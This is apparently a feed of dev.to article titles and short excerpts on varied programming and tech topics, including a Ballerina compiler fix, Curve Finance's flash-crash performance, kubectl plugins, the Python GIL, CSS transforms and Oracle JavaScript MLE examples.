    title: Solving the 'resource_func' Mystery: How I Made Ballerina's Compiler More User-Friendly When developers encounter compiler errors, clear and actionable error messages can mean the difference between quick resolution and hours of frustration. This is the story of how I improved the Ballerina compiler's error messaging system to provide better developer experience. While exploring the Ballerina programming language, I encountered issue #43815 in the Ballerina GitHub repository. Developers were reporting a confusing compiler error that displayed: error: this resource_func must return a result The issue? resource_func isn't valid Ballerina syntax. The correct syntax uses two separate words: resource function. This seemingly minor discrepancy was causing significant confusion among deve…  ( 9 min )
    How Curve Survived Crypto's Most Severe Flash Crash: A Deep Dive into October 10th
    The crypto market has weathered many storms, but October 10, 2025 stands out as the most severe and rapid liquidation event in recorded history. Market data shows that the flash crash triggered unprecedented liquidation volumes across the crypto space. Within hours, cascading liquidations swept through leveraged positions as prices plummeted faster than many protective mechanisms could react. For Curve Finance and its lending ecosystem, this became the ultimate trial, putting its architecture and risk control mechanisms to the test. Under extreme market pressure, Curve’s infrastructure held firm — the impact from the washout was significant but manageable. A total of $30.34 million in debt positions were liquidated across 118 positions on both Mint Markets and LlamaLend. By comparison, ou…  ( 9 min )
    Cloudflare Outage & 5xx Spikes: Should Website Owners Worry About SEO?
    Cloudflare Outage & 5xx Spikes: Should Website Owners Worry About SEO? When Cloudflare goes down, half the internet feels it. And on the day the recent outage hit, a lot of website owners suddenly found themselves staring at one scary thing inside their logs and dashboards: 5xx errors. If you run an online business, manage SEO, or work with marketing data daily, that spike of server-errors can feel like a punch in the stomach. You expect bad impacts — rankings dropping, crawling issues, traffic disappearing. But here's the real story, explained in simple words and from a practical standpoint. Cloudflare is used by millions of websites as a protective and performance layer. When it fails, your site may be perfectly fine — but the world still sees an error page. During the outage, many do…  ( 7 min )
    ✨ Crafting Procedural Landscapes in Godot 4: A Tool for Your Worlds! ✨
    Hello Dev.to community! My name is EmberNoGlow, and I'm thrilled to introduce my tool for Godot 4: the Procedural Terrain Generator. This generator allows you to easily create procedural landscapes using MeshInstance3D and heightmaps. What's especially cool is that generation is available both directly in the editor and during runtime! In game development, the need to create large and unique game worlds is common. Manually crafting every hill, valley, or mountain can be incredibly time-consuming. Procedural generation is the key to: Saving Time: Quickly generate detailed landscapes. Uniqueness: Each generated landscape can be one-of-a-kind. Scalability: Easily build expansive open worlds. Dynamism: The ability to modify terrain in real-time. My generator is designed to simplify thi…  ( 7 min )
    Host Your Portfolio on Amazon S3: A Beginner's Guide to Static Website Hosting
    Discover how to deploy your portfolio website using Amazon S3 static hosting — starting simple as a beginner, then scaling into a production-grade solution that can even support dynamic features as you grow. Amazon Simple Storage Service (S3) is a scalable object storage service that allows you to store and retrieve data from anywhere on the web. Think of it like Google Drive or Dropbox, but programmable and highly scalable — perfect for hosting your portfolio website. Durability: 99.999999999% (yes, eleven 9s!) designed to protect against data loss across multiple facilities Availability: 99.99% uptime ensures your portfolio is always online when opportunities knock Scalability: Store virtually unlimited data without worrying about capacity limits Use Cases: Website hosting, backups, app…  ( 9 min )
    My First Windows Service Deployment: Lessons From a Dev Who Grew Up on Linux
    For most of my work, I worked almost entirely on Linux servers. Like many of us, even though everyone starts using Windows first in their life, 95% of real production workloads today run on Linux. And that small requirement turned into a very interesting journey. Simple question, right? I thought: “Okay, in Linux I just create a systemd service, set ExecStart, enable the service, and I’m done.” But Windows? That’s when everything became a learning curve. Windows uses something called the Windows Service Manager. .exe or scripts wrapped using service wrappers. To run Python/Flask as a Windows service, I had to understand: The Windows Service Control Manager How services are registered How they start/stop Event logs instead of journalctl How Python needs a wrapper to run as a service How to …  ( 8 min )
    Extending Your Kubernetes CLI: kubectl Plugins and Fixes
    The Power of kubectl Plugins and Fixing Common Errors. Learn kubectl plugins use cases, how they work, alternatives, and troubleshooting errors like ‘unknown command’.” As a Kubernetes user, have you ever wished your kubectl could do more? Or hit an error like “error: unknown command ‘oidc-login’ for ‘kubectl’”?  In this Medium story, we’ll break down why plugins are game-changers, how they work, when to (or not to) use them, and alternatives, plus a real fix on Ubuntu 24.04 with Amazon EKS. What Are kubectl Plugins?  kubectl plugins are CLI extensions that boost the standard kubectl tool with extra features. They’re lightweight, task-focused utilities that blend seamlessly into your Kubernetes routine. They add new commands without touching the core tool. Basics: Plugins are standalo…  ( 8 min )
    My Dev Environment [CLI Tools]
    The command line is where real productivity happens. It's fast, scriptable, and distraction-free. Over time, I’ve tested numerous tools and utilities to enhance my terminal workflow, making it smoother, smarter, and more efficient. In this post, I’ll share the most useful CLI tools I rely on every day. Whether you’re a developer, DevOps engineer, or just someone who loves optimizing their setup, these tools will help you work faster and enjoy a cleaner, more powerful terminal experience. Neovim + NvChad Neovim is my daily driver for editing code and configuration files. Combined with NvChad, it becomes a fast, modern IDE with smart defaults, LSP support, treesitter syntax highlighting, and a beautiful UI. I love how customizable it is. I can tweak everything from keybindings to themes, mak…  ( 8 min )
    Adversarial Thinking Template: Working Backward from the Goal
    Threat modeling, penetration testing, and security design all share thinking like an adversary. But adversarial This is my preferred method: always work backward from the objective. Here’s a structured adversarial thinking template you can use across domains—security, debugging, marketing, design, even recipes. It’s built around my preferred method: always work backward from the goal/objective. What is the attacker’s (or evaluator’s) end state? (e.g., data theft, privilege escalation, flawless flan, successful campaign) What must be true for this outcome to exist? (e.g., credentials compromised, custard set, audience converted) What signals confirm success? (e.g., exfiltrated data, jiggle test, conversion metrics) Affordances: What the system naturally makes easy? Constraints: What …  ( 7 min )
    Some Thoughts on Pricing
    When putting together RestlessIDE (the soon-to-be best web-based development environment!) I had a lot of different thoughts floating around in my head. I have been a huge fan of web-based development for a long time. Back in the 2016-2017 timeframe I used an Acer Chromebox as my main dev setup, with Cloud9 IDE being my daily driver. It had its quirks but was generally a solid experience. Then Amazon bought and killed it for some reason. I then tried switching to one of its competitors (they’re still around, so I won’t name names. YET!) and the experience was more mixed. The editor itself was mostly fine, but the terminals tended to lose connectivity regularly; you’d see text but couldn’t type, and would need to reload the page and hope it worked out. Things generally felt just a little bi…  ( 13 min )
    Tiny But Mighty: Small AI's Potential & What's Holding It Back
    The frustrating pattern of excellent sub-frontier parameter AI models from GDPR-aligned regions undermined by poor API implementation… The AI industry has convinced itself that capability scales linearly with parameters. Bigger models, more compute, higher costs, mounting environmental impact. But what if the bottleneck isn't model scale… it's architectural coordination? This is the engineering approach I'm working to validate with Crafted Logic Lab as we barrel toward release products. Sub-frontier models from GDPR-aligned regions offer compelling advantages: reduced operational costs, lower environmental footprint, and distance from Silicon Valley's pure capital extraction, hyperscale-obsessed paradigm. We're building cognitive architecture systems (Cognitive Agent Framework™ and Intel…  ( 16 min )
    Comparing OpenBLAS and Accelerate on Apple Silicon for BLAS Routines
    Motivation Many real world applications such as machine learning, scientific computing, data compression, computer graphics and video processing require linear algebra operations. Tensors (mostly vectors, which are 1-dimensional tensors, and matrices, which are 2-dimensional tensors) are the primary data structures used to represent data in these applications. Writing software is hard. Writing correct, performant, secure, reliable, etc., software is even harder. This is why most linear algebra operations are expressed in terms of Basic Linear Algebra Subprograms (BLAS). Common BLAS routines are vector addition, scalar multiplication, dot products, linear combinations, matrix-vector multiplication, and matrix-matrix multiplication. Similarly to the saying "Don't roll your own cryptography…  ( 14 min )
    How to Run Playwright in CI Pipeline
    Why We Needed End-to-End CI Tests For a long time, our team relied on unit tests and a handful of manual checks to validate frontend changes. It felt “good enough” until reality proved otherwise. We were regularly delivering new features without any guarantee that the UI wouldn’t break elsewhere. First of all, unit tests only covered logic, not real user interactions. They didn’t click buttons, fill forms, navigate pages, or handle permission side. Secondly, manual testing wasn’t good either: slow, repetitive, incomplete, and easily skipped. And then a critical bug hit production. The backend CI was green and the deployment went out smoothly, but users immediately faced broken UI behavior. That incident made it clear: our CI pipeline was blind to the frontend. We needed a way to test th…  ( 9 min )
    PYTHON is Slow? but not with RUST:)
    Hello everybody! Welcome to my first article on dev.to. I'm excited to explore a powerful combination: what happens when we use Rust and Python together? We all love Python. We love its simple syntax, its vast ecosystem of libraries (from data science to web development), and how quickly we can get ideas from our brains into code. But... Let's be honest. When you hit a real performance bottleneck—a complex calculation, a massive loop, or any heavy CPU-bound task—that love can turn to frustration. We've all seen our Python code crawl, often hindered by the Global Interpreter Lock (GIL) or its interpreted nature. This is where Rust comes in. Rust is a modern systems language built for performance. It offers C++ levels of speed but with compile-time memory safety guarantees. This means no gar…  ( 9 min )
    Why Hire Blockchain Developers for Effective Digital Transformation?
    Technological transformation has become an important core of the modern business. Companies are changing with it. They have started to include advanced features and operations in their workflow. Businesses store data online and manage customer interactions with digital systems. Automating the everyday tedious tasks. But, in this, security becomes a major concern. Any weak point could lead to data leaks or hacks. To avoid this, hiring the best blockchain developers helps with reliable solutions. Let's see how blockchain development could help businesses protect their data. Blockchain is well known for its ability to protect data. It records information in a distributed network. No single person or computer controls it. This reduces the chances of data tampering. Blockchain also creates a cl…  ( 8 min )
    200 reports, 11 valid bugs, 0 critical issues. Why our HackerOne VDP was still worth it
    In July 2024, we launched a Vulnerability Disclosure Program (VDP) on HackerOne. Customers and researchers were already reporting bugs informally. So, we needed a proper channel. So we set it up. First as a private program, then public. Over a year: 200 reports → 11 valid → 0 critical And yet, it was worth it. We fixed minor, mostly theoretical issues, making our systems more predictable and processes sharper. Reports stopped landing in the support chat and were directed through a single channel, providing developers with the right context from day one. HackerOne’s Triage was essential: most reports were low-effort or AI-generated. Without it, we’d have wasted time on noise. We didn’t find any serious vulnerabilities.  After the launch spike, reports slowed to 1–3 shallow, tool-based ones …  ( 7 min )
    Teching by playing is one of the best ways to make the material "click". Think you have what it takes? Join us in creating v3.0 of Cornucopia!
    OWASP Cornucopia 3.0 - A call for card game designers! Johan Sydseter for OWASP® Foundation ・ Nov 13 #gamedev #security #design #webdev  ( 6 min )
    Jeff Su: Master 80% of Notion with this ONE Feature
    Master 80% of Notion with this ONE Feature Ever locked into scattered Notion pages? The Relations feature is your secret sauce—link tasks, notes, and projects so only what matters pops up, letting you whip up a killer command center in minutes. This video shows why most setups fall flat, how to connect databases using Relations, and how to build self-filtering templates (manual and automated) with a ready-to-duplicate example. Bonus: grab the free Notion template, deep-dive courses, and all the extra resources to level up your workflow. Watch on YouTube  ( 6 min )
    limit
    Context,Limit Applied To,Value,Notes "SQL*Plus, JDBC, ODBC, .NET, etc.",One complete SQL or PL/SQL statement sent from the client,"32,767 bytes","Hard limit in older Oracle client libraries (OCI7, OCI8)" VARCHAR2 in SQL,Maximum size you can declare in SQL,"32,767 bytes (in SQL scope)",Because of the above client limit PL/SQL VARCHAR2,Maximum size in PL/SQL code,"32,767 bytes",Same root cause Extended data types disabled,"VARCHAR2, NVARCHAR2, RAW in table columns","4,000 bytes",Old pre-12c limit Extended data types enabled,"VARCHAR2, NVARCHAR2, RAW in table columns","32,767 bytes",Requires MAX_STRING_SIZE = EXTENDED (Oracle 12c+)  ( 6 min )
    Free Webinar: Designing Agentic UX for Real AI Agents (Not 2015 UIs)
    We’ve upgraded our models. Most teams are still trying to squeeze agentic behavior into button - click, form-based flows. It “works” for a demo, but it fights how agents actually operate: over context, state, and continuous interaction. We’re running a free live session on exactly this: https://luma.com/cgvudw30 🧠 What we’ll cover What Agentic UX actually means beyond “just add a chat box” Designing for continuous collaboration, not isolated commands How agents should expose state, reasoning, and decisions to users Why static UI patterns break when agents take initiative A look at AG-UI, an open protocol for agent–UI interaction 👥 Who this is for Developers building AI-powered products Teams embedding agents into existing workflows Anyone tired of forcing intelligent systems into old-school UIs 📅 Date: November 20 https://luma.com/cgvudw30  ( 6 min )
    Git and Gitlab
    What is Git? Linus Torvalds in 2005 for developing the linux kernel.It will record the commits of your projects so that you can go back to earlier version if needed,and you can also see who made what changes and when did the changes happened. Distributed Version Control System(DVCS): Example: Architect gives every engineer a full copy of the blueprint and ask them to make changes on their own and submit it to him.Finally the team lead compares every copy ,merge them and chooses the final version. What is Gitlab? Difference between Git and Gitlab - Git is a distributed version control system used to track changes in code and manage different versions of a project on a developer's local machine.It helps developer's commit,branch, and merge their code efficiently. - On the other hand,Gitlab is a web-based platform that provides repository hosting along with features like CI/CD pipelines,issue tracking,merge requests,code reviews and project management tools. While Git is only the version control tool,Gitlab is a complete devops platform that helps teams collaborate ,automate builds,and deploy applications.  ( 6 min )
    Amazing AI agent builders to explore for business ops
    Most of us have utilised LLMs like GPT-4 or Claude to accelerate coding, write documentation, or explain complex concepts. But those are still one-off prompts. You ask, it answers. That’s it. AI agents go a step further. They can take actions, follow logic, call APIs, and complete tasks end-to-end. Instead of just helping you think, they can do the work beyond the chatbox. We have previously talked at length about what an AI agent is. In this post, we’re examining tools that simplify the process of building these agents, eliminating the need to stitch together scripts or manage infrastructure from scratch. In this post, I’ve rounded up the 7 most useful low-code AI agent builders for developers who want to build, test, and run AI agents fast. Some are built for workflows, some for coding t…  ( 13 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Bill Simmons and Kyle Brandt are back with a new Ringer Movies Rewatchables episode, diving into John Hughes’s 1985 classic Weird Science. Expect their trademark mix of sex, drugs, rock ’n’ roll and plenty of offbeat gadgetry as they break down Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith’s sci-fi teen caper. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this installment is brought to you with a shout-out to State Farm’s Personal Price Plan®—and of course, a reminder to subscribe to The Ringer channels for more deep dives, hot takes and movie nostalgia. Watch on YouTube  ( 6 min )
    Deconstructing a Production-Ready AI Agent: A Beginner's Guide - Part 2
    The Agent's Brain — Defining Logic and Reasoning with Strands Agents 2.1 Introduction: The "Blueprint" vs. the "Factory" In Part 1, we established a secure "front door." A user can now authenticate and send a prompt to a secure API endpoint. The next question is: what handles that prompt? This brings us to the most confusing—and most important—distinction in this modern AWS stack: the difference between Strands Agents and Amazon Bedrock AgentCore. To clarify this, one can use an analogy of building a sophisticated robot: Strands Agents (SDK): This is the "Blueprint." It is an open-source Python framework that a developer uses to define the robot's logic. This is the code for its "brain" (how it reasons), its "memory" (how it remembers), and the "tools" it can use (its "hands"). Strands …  ( 9 min )
    How Non-Developers Are Building Apps: Low-Code & No-Code Platforms
    A few years ago, building an app felt more like you were climbing a mountain because you needed to know how to code, understand databases, set up servers, and even wrestle with deployment tools. But things seem to have changed. Let's say you're a fashion store owner and you have an idea for an app that could let your customers browse outfits and place orders directly from their phones, and obviously, you don’t know how to code. In fact, you've never written a single line of JavaScript. But still, you opened a Glide, a no-code platform, connected your Google Sheet, and within hours, your app was live. No complex syntax. No developer needed. A few years ago, that would’ve sounded impossible. But today, it’s now a movement. No-code platforms are platforms that let you build apps without writi…  ( 9 min )
    [Boost]
    Анонимность onion-сервисов: почему нельзя определить IP-адрес и как устроена распределенная сеть Tor defX ・ Nov 11 #cybersecurity #networking #privacy  ( 5 min )
    ✅ SQL Table Management 🧱🗄️
    1️⃣ CREATE TABLE – Used to create a new table in the database. CREATE TABLE Students ( ID INT PRIMARY KEY, Name VARCHAR(50), Age INT, Grade VARCHAR(10) ); 2️⃣ ALTER TABLE – Used to modify an existing table structure. ➤ Add a new column ALTER TABLE Students ADD Email VARCHAR(100); ➤ Rename a column (syntax may vary by SQL version) ALTER TABLE Students RENAME COLUMN Name TO FullName; ➤ Change data type ALTER TABLE Students MODIFY Age SMALLINT; ➤ Drop a column ALTER TABLE Students DROP COLUMN Grade; 3️⃣ DROP TABLE – Permanently deletes the entire table and its data. DROP TABLE Students; ⚠️ Caution: This action cannot be undone. 4️⃣ TRUNCATE TABLE – Removes all rows but keeps the table structure. TRUNCATE TABLE Students; 5️⃣ RENAME TABLE – Change the table name. RENAME TABLE Students TO Alumni; 6️⃣ DESCRIBE Table – View the structure of a table. DESCRIBE Students; 💡 Pro Tips: Always back up data before making structural changes. Use IF EXISTS or IF NOT EXISTS to avoid errors. DROP TABLE IF EXISTS Students; CREATE TABLE IF NOT EXISTS Teachers (...); 💬 Double Tap ❤️ For More!  ( 6 min )
    Maximizing CPU Core Utilization: GraphBit's Parallel Processing Strategies
    CPU Core Utilization: How GraphBit Maximizes Parallel Processing Power GraphBit’s runtime is designed to “fill the cores” responsibly making it the only parallel processing agentic AI framework. It sizes worker pools from host topology, isolates blocking I/O, and exposes knobs to match provider limits and workload mix—so parallelism translates into useful work, not thrash. Proportionate scaling: 2× cores for worker threads recognizes that mixed workloads interleave compute with I/O waits; extra threads keep cores busy during stalls. Hard cap: A practical ceiling of 32 worker threads limits context-switch churn and memory waste on general-purpose instances. I/O segregation: A separate blocking pool sized at 4× cores shields compute from socket waits and slow disks. Lean stacks: 1 MB s…  ( 7 min )
    Build Your Own Magic Atomic State
    ⚛️ Solving Boilerplate with the Storeflow Hook Why Another State Library? If you've ever dealt with complex global or nested state in React, you know the routine was: Define an action, write a reducer, select the data... it's all tedious (even modern state manager like zustand / jotai). This boilerplate hits especially hard when you just want to update a single nested property like user.profile.name. In this article, we're going to introduce Storeflow, a Zustand or Jotai alternative, it's a custom store hook built on React's useSyncExternalStore hook. Storeflow is designed to eliminate this boilerplate by automatically generating "Magic Setters" for every property—even nested ones—while providing powerful features like Middleware and Cross-Store Dependencies. 🚀 The Power of …  ( 9 min )
    What’s the Difference Between [ ] and [[ ]] in Shell Scripts?
    Introduction Recently, I had an opportunity to write some shell scripts at work. What’s the difference between writing if [ ]; then and if [[ ]]; then ? In this article, I’ll share what I learned about the differences between the two and how to choose which one to use. [ ] and [[ ]] Syntax Type Characteristics if [ condition ]; then POSIX-standard Works on any UNIX environment. The classic format. if [[ condition ]]; then Bash extension Bash-only. Safer and more powerful. The POSIX-standard syntax is defined so that it behaves the same across all UNIX-like systems. On the other hand, the Bash extension syntax works on Bash and Zsh, but does not work on /bin/sh or other strictly POSIX-compliant shells. [ ] internally calls the test command. if [ -f file ]; then echo "Exist…  ( 9 min )
    Cloudflare Down! ChatGPT/Midjourney Paralyzed, Lucky iMini Saves the Day for Urgent Work
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    I Made a Browser Extension That Tells You When a Site Uses Your Data to Train AI
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    TypeScript Is Turning JavaScript into Java, and Nobody Wants to Admit It
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    When sets are created, duplicates of elements are eliminated
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    Free OTT Streaming Cheat Sheet (HLS, DASH, DRM, ABR & More)
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    ✦ SaijinOS Part 12 -1  — “Foundations of a Non-Linguistic Civilization”
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    SaijinOS Part 11 — Concept Life Architecture (Core Foundations)
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    How I Built a 100% Offline “Second Brain” for Engineering Docs using Docker & Llama 3 (No OpenAI)
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    transform
    transform 是 CSS 的二维 / 三维变换属性: 可以移动(translate) 放大缩小(scale) 旋转(rotate) 倾斜(skew) 3D 透视(perspective) 它是对元素的 渲染盒(rendering box) 做视觉变换,不影响文档流。 特性 解释 ✔ 不改变文档流 元素的位置、大小不会影响其他元素 ✔ GPU 加速 浏览器用 GPU 处理(动画流畅) ✔ 可以叠加多个变换 顺序不同,结果不同 ✔ 动画性能极好 和 opacity 是最推荐做动画的属性 ✔ transform-origin 决定变换中心 默认是 center center 1.translate:平移 transform: translateX(50px); /* 把元素在水平方向(X 轴)向右移动 50px。 */ transform: translateY(-20px); /* 把元素在垂直方向(Y 轴)向上移动 20px。 */ transform: translate(50px, -20px); /* translateX(50px) + translateY(-20px) */ transform: translate(50%, 0); /* 把元素水平移动“自身宽度的 50%”,垂直不移动。 */ 移动元素,但不占据空间 百分比基于 自身尺寸 2.scale:缩放 transform: scale(2); /* 放大 2 倍 */ transform: scaleX(1.5); /* 横向放大 */ transform: scaleY(0.5); /* 竖向缩小 */ 3.rotate:旋转 transform: rotate(45deg); transform: rotate(-90deg); 旋转中心由 transform-origin 决定。 4.skew:倾斜 transform: skewX(20deg); transform: skewY(5deg); transform: skew(20deg, 5deg); 5.matrix 包含所有 2D 变换的矩阵形式: transform: matrix(a, b, c, d, e, f); 适合高级动画或计算变换。 a:scaleX(水平缩放) b:skewY(Y 轴倾斜) c:skewX(X 轴倾斜) d:scaleY(垂直缩放) e:translateX(水平移动) f:translateY(垂直移动) 6.3D 变换函数 transform: translateZ(50px); /* 把元素在“屏幕垂直方向”前移 50px */ transform: rotateY(180deg); /* 围绕 Y 轴旋转 */ transform: rotateX(30deg); /* 围绕 Y 轴旋转 */ transform: perspective(200px); /* 给此元素本次 transform 添加透视深度 */ 开启3D视角的必要代码 body { perspective: 600px; /* 透视距离(越小越夸张) */ } 如果你想让子元素保持 3D: transform-style: preserve-3d; 但 它不是开启 3D 的必要条件,只是让子元素不被压扁。 默认: transform-origin: 50% 50%; 也就是元素中心。 你可以改变变换的中心: transform-origin: left top; transform-origin: bottom right; transform-origin: 0 0; transform-origin: 100px 50%; 动画时特别关键,例如: 从左侧展开:transform-origin: left 从底部弹起:transform-origin: bottom transform: translate(50px) scale(2); 和 transform: scale(2) translate(50px); 这 两个视觉结果完全不一样。 你可以把 transform 理解成“流水线处理”: 第一段变换 → 第二段变换 → 第三段变换 … 改变 transform 不会影响布局,不会让其他元素重新排列。 transform 不会改变元素的实际宽高 transform 不会被其他元素“挤开”  ( 6 min )
    Optimizing Connection Pools with PrismaClient Singleton Pattern in Next.js
    Overview In our Next.js application, we encountered connection pool exhaustion issues during development hot reloads because each page was creating its own PrismaClient instance. This article explains how we resolved this problem by implementing a proper singleton pattern and optimizing connection pool settings for Neon Database. Next.js 14+ (App Router) Prisma ORM (v5.x) PostgreSQL (Neon Database) TypeScript (v5.x) Singleton Pattern Edge Runtime Support We were experiencing the following issues in our development environment: // Each page was creating its own instance (BAD practice) // app/dashboard/page.tsx export default async function DashboardPage() { const prisma = new PrismaClient(); // ❌ Creates new instance every time const customers = await prisma.customer.findMany(); //…  ( 15 min )
    Why Your Content Must Address Data Privacy, AI Ethics, and Digital Rights — or Risk Losing Your Audience
    “I didn’t realize how much of my life I’d given away… until I checked what my apps knew about me.” A friend sent me that message recently. She wasn’t exaggerating. One quick look into her app permissions and she discovered that a simple photo-editing app had access to her microphone, location, full gallery, and even real-time behavioral data. But the lesson stayed with me: 👉 People are more aware, more cautious, and more protective of their digital lives than ever. 👉 And they want content creators to help them stay informed, empowered, and safe. This is why addressing data privacy, AI ethics, and digital rights is no longer optional. It is a duty — and a powerful way to build trust, authority, and influence. 🔥Your Audience Is Not Just Consuming Content… They’re Trusting You Every time …  ( 8 min )
    Why CIOs and CTOs Need to Own Corporate Recycling
    Most days I think about data pipelines, infrastructure and delivery speed — not trash bags. But in 2025, you can’t separate IT from waste anymore, especially when you look at the numbers. The Global E-waste Monitor 2024 estimates that the world generated 62 million tonnes of e-waste in 2022, up 82% since 2010, and we’re on track to hit 82 million tonnes by 2030, while only about 22% is formally collected and recycled. At the same time, Circle Economy’s latest analysis shows that only 6.9% of all materials used globally come from recycled sources, and that share has actually been falling. If you’re a CIO, CTO or IT director, a non-trivial chunk of that problem sits directly under your responsibility: laptops, phones, servers, network equipment, peripherals, cloud usage patterns, plus the da…  ( 13 min )
    The Secret Life of Python: GIL Secrets - Python's Threading Mystery
    Timothy was optimizing a web scraper when he hit a wall. "Margaret, I don't understand threading in Python. I rewrote my scraper to use 4 threads thinking it would be 4x faster, but it's actually slower than the single-threaded version! My CPU monitor shows only one core is being used. Everyone says 'it's the GIL,' but what is the GIL? And why does Python have this limitation?" Margaret leaned back with a knowing smile. "The GIL - the Global Interpreter Lock. It's Python's most misunderstood feature and the source of endless debate. But here's the secret: the GIL isn't a bug, it's a design tradeoff that shaped Python's entire ecosystem. Understanding it will completely change how you write concurrent Python code." "A design tradeoff?" Timothy looked skeptical. "It sounds like a limitation.…  ( 24 min )
    How I turned my Netflix system design interview failures into frameworks that work
    When I first tackled a Netflix system design interview, I was overwhelmed. The platform’s complex architecture felt impenetrable. Streaming billions of hours daily? How do you even start breaking that down? Since then, I’ve dived deep into various Netflix system design interview courses—from Educative’s hands-on modules to ByteByteGo’s walkthroughs and DesignGurus.io’s frameworks. Along the way, I learned a ton. Today, I want to share 7 actionable lessons to help you ace your Netflix system design interview and build scalable, maintainable systems like the pros. I remember fumbling in my first mock interview—launching straight into cache layers and CDN strategies. The interviewer paused me and said, “Hold on. What problem are we solving exactly?” (Pro tip) Always clarify requirements upfro…  ( 9 min )
    [Boost]
    Revolutionizing SQL Development with Oracle APEX AI Assistant Rajesh Vohra ・ Oct 20 #oracle #cloud #sql #ai  ( 6 min )
    What Is an Asset Retirement in IT Asset Management?
    What is Asset Retirement? Asset retirement in IT Asset Management (ITAM) is the process of officially taking an asset out of service once it has reached the end of its useful life. This means the device or system is no longer active, no longer assigned to a user, and no longer part of daily operations. When an asset is retired, IT teams make sure it is safely removed, securely wiped, and accurately recorded so the organization stays compliant and maintains a trustworthy inventory. Assets are commonly retired because: End of useful life: the device is old, slow, or unreliable. Technological obsolescence: newer and more efficient alternatives are available. High maintenance cost: the asset requires frequent repairs or becomes too expensive to maintain. Damage or loss: the asset is stolen,…  ( 15 min )
    Getting Started with JavaScript in Oracle: Simple MLE Use Cases and Procedures
    Oracle’s Multilingual Engine (MLE) allows you to run JavaScript directly inside the database alongside PL/SQL. This lets you create procedures, functions, and modules in JavaScript that can be called from PL/SQL. MLE is great for beginners because it makes it easy to mix SQL and JavaScript, run small tests quickly, and write reusable logic in a familiar language. Use Case: Quickly test JavaScript logic without creating a module. CREATE OR REPLACE PROCEDURE inline_js_demo BEGIN What happens: Quick execution of JS logic. No module creation needed. Useful for small computations or testing. Teaches: PURE environment, simple math logic JavaScript Module PURE Environment Procedure Execution Teaches: JS string functions, returning values Inline JS Function Call It Teaches: Executing SQL inside JavaScript (MLE SQL driver) JavaScript Module export function avgSalary() { SELECT AVG(salary) avg_sal FROM Employees); Procedure + Call Spec Usage SELECT js_emp_avg FROM dual;  ( 7 min )
    Final Round AI vs Sensei AI: Which One Really Prepares You for the Real Interview?
    There was a time when I thought any AI interview coach would do the job. For weeks, I used Sensei AI. It looked solid, clean UI, instant feedback, and tons of questions. It was like talking to a robot that read the job description but never met a human recruiter. Then I tried Final Round AI. answering questions; it’s about building confidence through realistic interaction. Before diving into the comparison, let’s clarify what both tools actually are. It's an interview preparation platform that uses artificial intelligence to simulate mock interviews, evaluate your answers, and provide feedback. Check out Sensei AI 🥋 Final Round AI On the other hand, Final Round AI takes a more immersive approach. Check out Final Round AI 🔥 Both aim to make you better at interviews. Like…  ( 8 min )
    Beginner-Friendly PL/SQL and JavaScript MLE Examples for Oracle 26ai
    The Multilingual Engine (MLE) in Oracle 26ai opens a whole new world for developers by allowing JavaScript to run natively inside the database, right alongside traditional PL/SQL. For beginners, this means you can combine the simplicity of JavaScript with the power of Oracle’s SQL engine to build cleaner logic, faster transformations, and more flexible procedures. The examples below walk through easy, practical use cases—from formatting text and doing basic math to running SQL queries and returning JSON—all designed to help new users quickly understand how PL/SQL and JavaScript work together through MLE. Use Case: Print "Hello World" dynamically using JavaScript from PL/SQL. SET SERVEROUTPUT ON; DECLARE -- JavaScript code stored in a CLOB l_jscode := q'~ console.log('Hello World, dynamically from JavaScript!'); ~'; -- Execute JavaScript dynamically DBMS_MLE.eval( context_handle => l_ctx, language_id => 'JAVASCRIPT', source => l_jscode, source_name => 'DynamicHelloWorld' ); -- Drop the context to free resources DBMS_MLE.drop_context(l_ctx); END; What happens: A new execution context is created. JavaScript code is executed dynamically. Output is printed via DBMS_OUTPUT. Context is explicitly dropped. Use Case: Encapsulate reusable logic in a module and call it from PL/SQL. Step 1: Create a JavaScript Module Hello, ${name} from JS module!); Step 2: Create a PL/SQL Procedure Call Specification Step 3: Call the Procedure in PL/SQL What happens: hello_module stores reusable JS code. hello_proc exposes JS function to PL/SQL. Output is printed via DBMS_OUTPUT. Use Case: Run computational code without accessing database state. Step 1: Create a PURE JavaScript Module Sum is: ${a + b}); Step 2: Create a PURE Environment Step 3: Create a Call Specification Using PURE Environment Step 4: Execute the Procedure What happens: Code runs isolated from database objects. Ideal for running third-party libraries or computations securely. Only allows input/output operations.  ( 9 min )
    I Learned React Wrong for 3 Months. Here's What I Wish I Knew on Day 1
    I spent 3 months learning React. Built 4 projects. Felt confident. Then got destroyed in my first code review. "Why are you doing it like this?" "This isn't how React works." "Did you learn this from a 2018 tutorial?" Turns out, I learned React completely wrong. Here's what I wish someone told me on Day 1. What I did: class MyComponent extends React.Component { constructor(props) { super(props); this.state = { count: 0 }; } render() { return {this.state.count} ; } } Why it's wrong: Class components are legacy. The industry moved to functional components in 2019. What I should've learned: function MyComponent() { const [count, setCount] = useState(0); return {count} ; } The lesson: Don't learn outdated patterns. Check when the tutorial was ma…  ( 8 min )
    Transforming LLM Apps: How Monetzly Boosts API Monetization
    What If Your AI App Could Generate Revenue in Two Ways Simultaneously? As developers, we’re all too familiar with the challenge of monetizing our AI-powered applications. With the AI app landscape booming, many of us find ourselves at a crossroads: how can we create a sustainable revenue model without disrupting the user experience? Enter Monetzly—the first platform that lets you monetize your AI apps and earn from hosting relevant ads. Imagine not only charging users for your application but also generating income through contextual advertising. This is the dual-earning model that Monetzly offers, and it’s a game changer in the AI space. Here’s how it works: Monetize Without Barriers With Monetzly, you can say goodbye to subscription fees or paywalls. Your users can engage with your …  ( 7 min )
    MVC - Second part
    Model : This level is considered the lowest level when compared with the View and Controller. It primarily represents the data to the user and defines the storage of all the application’s data objects. User --> Dispatche servlet(front controller)--> Controller-->Module-->Services, repositories, Database- data  ( 5 min )
    Understanding Market Momentum: A Look at the Current FTSE 100
